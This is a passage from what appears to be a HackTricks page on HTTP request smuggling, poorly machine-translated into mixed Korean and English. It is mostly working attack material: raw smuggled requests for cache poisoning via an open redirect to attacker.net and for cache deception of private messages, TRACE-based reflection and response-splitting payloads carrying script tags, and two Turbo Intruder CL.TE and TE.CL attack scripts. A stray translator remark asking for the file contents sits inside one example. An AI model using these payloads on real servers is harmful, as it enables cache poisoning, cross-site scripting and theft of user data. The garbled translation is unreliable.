아래는 cache poisoning combined with an on-site redirect to open redirect를 이용한 악용 예시입니다. 목표는 /static/include.js의 캐시 내용을 공격자가 제어하는 JavaScript 코드로 변경하는 것입니다:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Note the embedded request targeting /post/next?postId=3. This request will be redirected to /post?postId=4, utilizing the Host header value to determine the domain. By altering the Host header, the attacker can redirect the request to their domain (on-site redirect to open redirect).
After successful socket poisoning, a GET request for /static/include.js should be initiated. This request will be contaminated by the prior on-site redirect to open redirect request and fetch the content of the script controlled by the attacker.
Subsequently, any request for /static/include.js will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
Using HTTP request smuggling to perform web cache deception
What is the difference between web cache poisoning and web cache deception?
- In web cache poisoning, 공격자는 애플리케이션이 일부 악성 콘텐츠를 cache에 저장하도록 만들고, 이 콘텐츠는 cache에서 다른 애플리케이션 사용자들에게 제공됩니다.
- In web cache deception, 공격자는 애플리케이션이 다른 사용자에 속하는 민감한 콘텐츠를 cache에 저장하도록 만들고, 이후 공격자가 그 콘텐츠를 cache에서 추출합니다.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
만약 이 smuggled request가 정적 콘텐츠(예: /someimage.png)용으로 되어 있던 캐시 항목을 오염시킨다면, /private/messages의 피해자의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있다. 결과적으로 공격자는 이 캐시된 민감한 데이터를 잠재적으로 가져올 수 있다.
TRACE를 이용한 HTTP Request Smuggling 악용
In this post 는 서버에 TRACE 메서드가 활성화되어 있다면 HTTP Request Smuggling으로 이를 악용할 수 있다고 제시한다. 이는 이 메서드가 서버로 전송된 어떤 헤더든 응답 본문의 일부로 반사하기 때문이다. 예를 들어:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
파일 내용을 붙여 보내주세요. 지침에 따라 마크다운/HTML 구문은 그대로 유지하고, 코드·태그·링크·기술용어 등 번역하지 않음으로 번역해 드리겠습니다.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
An example on how to abuse this behaviour would be to 먼저 HEAD 요청을 smuggle. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle HEAD 바로 다음에 TRACE 요청을 smuggle, which will be 전송된 데이터를 반사합니다.
As the HEAD response will be containing a Content-Length header, the TRACE 요청의 응답이 HEAD 응답의 바디로 처리되어 결과적으로 응답에서 임의의 데이터를 반사합니다.
This response will be sent to the next request over the connection, so this could be 예를 들어 캐시된 JS 파일에서 임의의 JS 코드를 주입하는 데 사용될 수 있습니다.
TRACE를 이용한 HTTP Response Splitting 악용
계속해서 this post를 따라가면 TRACE 메서드를 악용하는 또 다른 방법이 제시됩니다. 앞에서 언급했듯이, HEAD 요청과 TRACE 요청을 smuggling하면 HEAD 응답에서 일부 반사된 데이터를 제어할 수 있습니다. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
따라서 새로운 아이디어는, 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있다면, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들 수 있다는 것입니다. 이렇게 하면 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 되어 (이는 cache poisoning 수행에 사용될 수 있습니다).
Example:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
다음 응답들을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되는 것에 주목하세요. 그리고 HEAD Content-Length가 끝나면 유효한 HTTP 응답이 smuggled 됩니다):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
HTTP Response Desynchronisation을 이용한 HTTP Request Smuggling 무기화
HTTP Request Smuggling 취약점을 찾았지만 어떻게 익스플로잇할지 모르겠다면, 다음 다른 익스플로잇 방법들을 시도해보세요:
HTTP Response Smuggling / Desync
기타 HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
출처: https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
출처: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
도구
- HTTP Hacker (Burp BApp Store) – 연결/프레이밍과 저수준 HTTP 동작을 시각화
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: 이 도구는 문법 기반의 HTTP Fuzzer로 이상한 request smuggling 불일치를 찾는 데 유용합니다.
참고 자료
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- 거짓 양성(오탐)에 주의: HTTP pipelining과 request smuggling을 구분하는 방법 – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:
HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
HackTricks